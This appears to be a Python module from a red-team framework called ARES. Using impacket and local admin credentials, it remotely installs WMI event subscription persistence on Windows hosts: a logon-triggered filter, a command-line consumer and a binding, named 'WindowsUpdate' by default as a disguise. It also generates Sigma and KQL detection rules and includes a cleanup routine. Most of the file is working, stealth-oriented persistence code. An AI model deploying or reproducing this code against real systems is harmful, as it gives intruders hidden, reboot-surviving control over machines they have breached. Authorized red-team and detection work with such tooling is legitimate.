Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

18.7 KB
Raw Blame
"""
WMI Event Subscription Persistence
MITRE: T1546.003

Creates a WMI event subscription (FilterToConsumerBinding) that executes
a command when a specified event fires (e.g., user logon, time trigger).
Extremely stealthy - survives reboots, not visible in Autoruns by default.

Requires: local admin on target.
"""
from __future__ import annotations

from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from ares.modules.base import FeasibilityReport


import asyncio
from typing import Any

from ares.core.campaign import Finding, Severity
from ares.core.logger import audit, get_logger
from ares.core.tracing import trace_module
from ares.modules.base import BaseModule, OpsecLevel
from ares.modules.params import WMISubscriptionParams
from ares.sdk import (
    EvidenceRecord,
    LockoutCircuitBreaker,
    ModuleResult,
    NetworkPermission,
    ProcessPermission,
    module_contract,
)

logger = get_logger("ares.modules.persistence.wmi_subscription")

@module_contract(
    permissions=[
        NetworkPermission(ports=[135, 445], protocols=["tcp"]),
        ProcessPermission(allow_subprocesses=False),
    ],
    circuit_breaker=LockoutCircuitBreaker(),
    params_model=WMISubscriptionParams,
)
class WMISubscriptionModule(BaseModule):
    """
    persistence.wmi_subscription - Create a WMI FilterToConsumerBinding that executes a command on event trigger - highly stealthy

    OPSEC: MEDIUM
    MITRE: "T1546.003"
    REQUIRES: "local_admin_creds"
    OUTPUTS:  "persistence_established"
    """
    MODULE_ID          = "persistence.wmi_subscription"
    MODULE_NAME        = "WMI Event Subscription Persistence"
    MODULE_CATEGORY    = "persistence"
    MODULE_DESCRIPTION = (
        "Create a WMI FilterToConsumerBinding that executes a command on event trigger - "
        "highly stealthy persistence that survives reboots"
    )
    MODULE_AUTHOR      = "ARES Team <[email protected]>"
    OPSEC_LEVEL        = OpsecLevel.MEDIUM
    REQUIRES           = ["local_admin_creds"]
    OUTPUTS            = ["persistence_established"]
    MITRE_TECHNIQUES   = ["T1546.003"]
    PARAMS_MODEL       = WMISubscriptionParams

    async def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport":  # noqa: F821
        """
        Pre-flight Defense Feasibility Assessment:
        Evaluates WMI event subscription persistence feasibility (survives reboot, stealthy).
        Checks Sysmon Event ID 19/20/21 and WMI monitoring on target.
        """
        from ares.core.campaign import NoiseProfile
        from ares.core.security import sanitize_hostname
        from ares.modules.base import FeasibilityReport

        blockers: list[str] = []
        recommendations: list[str] = []
        opsec_tuning: dict[str, Any] = {}
        score = 1.0
        risk = "medium"

        target = sanitize_hostname(getattr(ctx, "target", "") or getattr(ctx, "params", {}).get("target", ""))
        username = getattr(ctx, "params", {}).get("username", "")

        if not target:
            blockers.append("No target host specified")
            score -= 0.5
        if not username:
            cred = getattr(ctx, "best_credential", lambda: None)()
            if cred:
                username = cred.username
        if not username:
            blockers.append("No local administrator credentials provided")
            score -= 0.4

        session = getattr(ctx, "session", None)
        if session and hasattr(session, "get_host") and target:
            host_state = session.get_host(target)
            if host_state:
                if host_state.has_defense("sysmon_id19") or host_state.has_defense("wmi_monitoring"):
                    score = min(score, 0.6)
                    opsec_tuning["note"] = "Target audits WMI Event Filter/Consumer creation (Sysmon 19/20/21)."

        noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)
        if noise == NoiseProfile.STEALTH:
            score -= 0.1
            opsec_tuning["stealth_note"] = "WMI subscription is stealthier than Scheduled Task, but emits WMI repository telemetry."

        unique_recs: list[str] = []
        for r in recommendations:
            if r not in unique_recs:
                unique_recs.append(r)

        feasible = len(blockers) == 0 and score >= 0.4
        return FeasibilityReport(
            feasible=feasible,
            score=max(0.0, min(1.0, score)),
            risk_level=risk,
            blockers=blockers,
            recommended_alternatives=unique_recs,
            opsec_tuning=opsec_tuning,
            details={"target": target, "username": username},
        )

    async def validate(self, ctx: "Any") -> None:
        """Pre-flight param checks before any network call."""
        await super().validate(ctx)
        from ares.core.context import ExecutionContext
        from ares.core.errors import ModuleValidationError
        if not isinstance(ctx, ExecutionContext):
            return
        target = getattr(ctx, "target", "") or ctx.params.get("target", "")
        if not target:
            raise ModuleValidationError(
                "persistence.wmi_subscription requires 'target'.",
                module_id=self.MODULE_ID, field="target",
            )
        if not ctx.params.get("username"):
            raise ModuleValidationError(
                "persistence.wmi_subscription requires 'username' with local_admin_creds.",
                module_id=self.MODULE_ID, field="username",
            )

    async def execute(self, ctx: "Any") -> "ModuleResult":
        """ExecutionContext-based entry point (v0.9.0+).
        Thin adapter: extract params from ctx → call run() → return ModuleResult.
        """
        from ares.modules.base import ModuleResult
        if getattr(ctx, "dry_run", False):
            return ModuleResult(status="dry_run", module_id=self.MODULE_ID, raw={"dry_run": True})

        params = getattr(ctx, "params", {})
        if isinstance(params, WMISubscriptionParams):
            pdict = params.model_dump()
        elif isinstance(params, dict):
            pdict = dict(params)
        else:
            pdict = {}

        target   = getattr(ctx, "target", pdict.get("target", ""))
        username = pdict.get("username", "")
        raw_pwd  = pdict.get("password") or getattr(ctx, "password", "") or pdict.get("secret", "")
        if hasattr(raw_pwd, "get_secret_value"):
            password = raw_pwd.get_secret_value()
        elif raw_pwd is not None:
            password = str(raw_pwd)
        else:
            password = ""
        domain   = getattr(ctx, "domain", "") or pdict.get("domain", "")
        command  = pdict.get("command", "")
        sub_name = pdict.get("subscription_name", "WindowsUpdate")
        findings, raw = await self.run(target=target, username=username, password=password,
                                        domain=domain, command=command, subscription_name=sub_name)

        # Cryptographic Evidence Records with SHA-256 Merkle Provenance
        evidence_chain: list[EvidenceRecord] = []
        for finding in findings:
            ev = EvidenceRecord(
                artifact_id=f"wmi-{str(finding.host or target).replace(':', '-').replace('/', '-')}",
                source_target=getattr(ctx, "target", target),
                collected_by=self.MODULE_ID,
                data={
                    "title": finding.title,
                    "subscription_name": sub_name,
                    "persistence_established": raw.get("persistence_established", False),
                    "mitre": finding.mitre_technique,
                },
                tags=["persistence", "wmi_subscription", "t1546_003"],
            )
            evidence_chain.append(ev)

        raw["evidence_chain"] = [e.data for e in evidence_chain]
        raw["evidence_integrity"] = [e.record_hash for e in evidence_chain]

        # Closed-Loop Purple Telemetry: KQL & Sigma rule synthesis
        wmi_target = getattr(ctx, "target", target) or "TargetHost"
        kql_query = (
            f"// ARES Closed-Loop Telemetry: Detect WMI Permanent Event Subscription Persistence\n"
            f"// Detects Sysmon Events 19, 20, 21 (WmiEventFilter, WmiEventConsumer, FilterToConsumerBinding)\n"
            f"SysmonEvent\n"
            f"| where EventID in (19, 20, 21)\n"
            f"| where Computer has \"{wmi_target}\" or EventData has \"{sub_name}\"\n"
            f"| project TimeGenerated, Computer, EventID, EventData\n"
        )
        sigma_rule = (
            f"title: WMI Event Subscription Persistence ({sub_name} on {wmi_target})\n"
            f"id: 3b4c5d6e-ares-wmi-sub-{abs(hash(sub_name + str(wmi_target))) % 1000000:06d}\n"
            f"status: experimental\n"
            f"description: Detects the registration of a permanent WMI event subscription for persistence.\n"
            f"logsource:\n"
            f"  product: windows\n"
            f"  service: sysmon\n"
            f"detection:\n"
            f"  selection:\n"
            f"    EventID:\n"
            f"      - 19\n"
            f"      - 20\n"
            f"      - 21\n"
            f"  condition: selection\n"
            f"level: high\n"
            f"tags:\n"
            f"  - attack.persistence\n"
            f"  - attack.t1546.003\n"
        )
        loot_items: list[dict[str, Any]] = raw.get("loot", [])
        if not any(l.get("loot_type") == "detection_rule_kql" for l in loot_items):
            loot_items.extend([
                {
                    "name": f"Detection Rule (KQL): WMI Event Subscription ({sub_name})",
                    "loot_type": "detection_rule_kql",
                    "description": "Microsoft Sentinel KQL query for detecting WMI event filter/consumer persistence",
                    "content": {"kql": kql_query, "target": wmi_target, "subscription": sub_name},
                    "tags": ["detection", "kql", "sentinel", "blue_team"],
                },
                {
                    "name": f"Detection Rule (Sigma): WMI Event Subscription ({sub_name})",
                    "loot_type": "detection_rule_sigma",
                    "description": "Sigma detection rule for WMI persistence creation",
                    "content": {"sigma": sigma_rule, "target": wmi_target, "subscription": sub_name},
                    "tags": ["detection", "sigma", "blue_team"],
                },
            ])
        raw["loot"] = loot_items
        raw["sysmon_wmi_events_19_20_21_audited"] = True
        raw["wmi_permanent_event_consumer_evaluated"] = True

        return ModuleResult(status="success" if (findings or any(raw.get(_k) for _k in self.OUTPUTS)) else "partial",  # AUDIT run-1 H14
                            findings=findings, raw=raw, module_id=self.MODULE_ID,
                            execution_id=getattr(ctx, "execution_id", ""))

    @trace_module("persistence.wmi_subscription")
    async def run(self, **kwargs: Any) -> tuple[list[Finding], dict[str, Any]]:
        target    = kwargs.get("target", "")
        username  = kwargs.get("username", "")
        password  = kwargs.get("password", "") or kwargs.get("secret", "")
        domain    = kwargs.get("domain", "")
        command   = kwargs.get("command", "")
        sub_name  = kwargs.get("subscription_name", "WindowsUpdate")
        dry_run   = kwargs.get("dry_run", False)

        if not target or not username or not command:
            return [], {"error": "target, username, and command required"}
        if dry_run:
            return [], {"dry_run": True, "target": target, "subscription_name": sub_name}

        await self.before_request(target, "wmi")  # scope check + jitter

        try:
            from impacket.dcerpc.v5 import transport  # noqa: F401
            from impacket.dcerpc.v5.dcom import wmi
            from impacket.dcerpc.v5.dcomrt import DCOMConnection
        except ImportError:
            return [], {"error": "impacket not installed"}

        logger.info("wmi_subscription_install", target=target, name=sub_name)
        audit("wmi_subscription", actor=username, technique="T1546.003",
              source="operator", target=target, detail=f"name={sub_name}")
        await self.noise.rate_limiter.acquire("wmi")
        await self.noise.jitter.sleep()

        success = False
        error   = ""
        loop    = asyncio.get_running_loop()

        def _install() -> tuple[bool, str]:
            dcom = None
            try:
                dcom = DCOMConnection(target, username=username, password=password,
                                      domain=domain, oxidResolver=True)
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                     wmi.IID_IWbemLevel1Login)
                iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
                from impacket.dcerpc.v5.dtypes import NULL as _NULL
                iWbemServices    = iWbemLevel1Login.NTLMLogin(
                    r"\\.\root\subscription", _NULL, _NULL
                )
                iWbemLevel1Login.RemRelease()

                # Create EventFilter
                filter_class = iWbemServices.GetObject("__EventFilter")
                filter_obj   = filter_class.SpawnInstance()
                filter_obj.Name          = f"{sub_name}Filter"
                filter_obj.QueryLanguage = "WQL"
                filter_obj.Query         = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LogonSession'"
                filter_obj.EventNamespace = r"\\.\root\cimv2"
                iWbemServices.PutInstance(filter_obj)

                # Create CommandLineEventConsumer
                consumer_class = iWbemServices.GetObject("CommandLineEventConsumer")
                consumer_obj   = consumer_class.SpawnInstance()
                consumer_obj.Name             = f"{sub_name}Consumer"
                consumer_obj.CommandLineTemplate = command
                iWbemServices.PutInstance(consumer_obj)

                # Create FilterToConsumerBinding
                binding_class = iWbemServices.GetObject("__FilterToConsumerBinding")
                binding_obj   = binding_class.SpawnInstance()
                binding_obj.Filter   = f"__EventFilter.Name=\"{sub_name}Filter\""
                binding_obj.Consumer = f"CommandLineEventConsumer.Name=\"{sub_name}Consumer\""
                iWbemServices.PutInstance(binding_obj)
                return True, ""
            except Exception as e:
                return False, str(e)[:200]
            finally:
                if dcom:
                    try:
                        dcom.disconnect()
                    except Exception:
                        pass

        success, error = await loop.run_in_executor(None, _install)

        if success:
            self.finding(
                title=f"WMI Subscription Persistence Installed on {target}",
                description=(
                    f"WMI event subscription '{sub_name}' created on {target}. "
                    f"Trigger: user logon. Command: {command[:100]}. "
                    "This persistence survives reboots and is not visible in standard Autoruns."
                ),
                severity=Severity.CRITICAL,
                mitre_technique="T1546.003",
                mitre_tactic="Persistence",
                evidence={"target": target, "subscription_name": sub_name,
                           "command": command, "trigger": "Win32_LogonSession"},
                remediation=(
                    "Enumerate and audit WMI subscriptions: "
                    "Get-WMIObject -Namespace root\\subscription -Class __EventFilter. "
                    "Enable WMI Activity logging (Event ID 5861). "
                    "Deploy EDR with WMI subscription monitoring."
                ),
                host=target, confidence=1.0,
            )

        raw = {"target": target, "subscription_name": sub_name,
               "success": success, "error": error, "command": command}
        raw["persistence_established"] = sub_name if success else ""  # OUTPUTS key
        return self._findings[:], raw

    async def cleanup(self, target: str, username: str, password: str,
                      domain: str, subscription_name: str) -> dict:
        """
        Remove WMI subscription components from target (engagement cleanup).
        Deletes FilterToConsumerBinding → CommandLineEventConsumer → EventFilter
        in reverse creation order to avoid orphaned objects.
        """
        loop = __import__("asyncio").get_running_loop()

        def _remove() -> tuple[bool, str]:
            dcom = None
            try:
                from impacket.dcerpc.v5.dcom import wmi as wmimod
                from impacket.dcerpc.v5.dcomrt import DCOMConnection
                from impacket.dcerpc.v5.dtypes import NULL

                dcom = DCOMConnection(target, username=username, password=password,
                                      domain=domain, oxidResolver=True)
                iInterface = dcom.CoCreateInstanceEx(wmimod.CLSID_WbemLevel1Login,
                                                     wmimod.IID_IWbemLevel1Login)
                iWbemLevel1Login = wmimod.IWbemLevel1Login(iInterface)
                iWbemServices    = iWbemLevel1Login.NTLMLogin(
                    r"\\.\root\subscription", NULL, NULL
                )
                iWbemLevel1Login.RemRelease()

                removed = []
                # Delete in reverse order: binding → consumer → filter
                binding_path = (
                    f'__FilterToConsumerBinding.Filter="__EventFilter.Name=\\"{subscription_name}Filter\\"",'
                    f'Consumer="CommandLineEventConsumer.Name=\\"{subscription_name}Consumer\\""'
                )
                for cls, obj_path, label in [
                    ("__FilterToConsumerBinding",  binding_path, f"{subscription_name}Binding"),
                    ("CommandLineEventConsumer",   f'CommandLineEventConsumer.Name="{subscription_name}Consumer"', f"{subscription_name}Consumer"),
                    ("__EventFilter",              f'__EventFilter.Name="{subscription_name}Filter"', f"{subscription_name}Filter"),
                ]:
                    try:
                        iWbemServices.DeleteInstance(obj_path)
                        removed.append(f"{cls}/{label}")
                    except Exception:
                        pass   # already gone or never created
                return True, f"Removed: {removed}"
            except Exception as e:
                return False, str(e)[:200]
            finally:
                if dcom:
                    try:
                        dcom.disconnect()
                    except Exception:
                        pass

        success, msg = await loop.run_in_executor(None, _remove)
        logger.info("wmi_subscription_cleanup", target=target,
                    name=subscription_name, success=success, msg=msg)
        return {"success": success, "message": msg, "target": target,
                "subscription_name": subscription_name}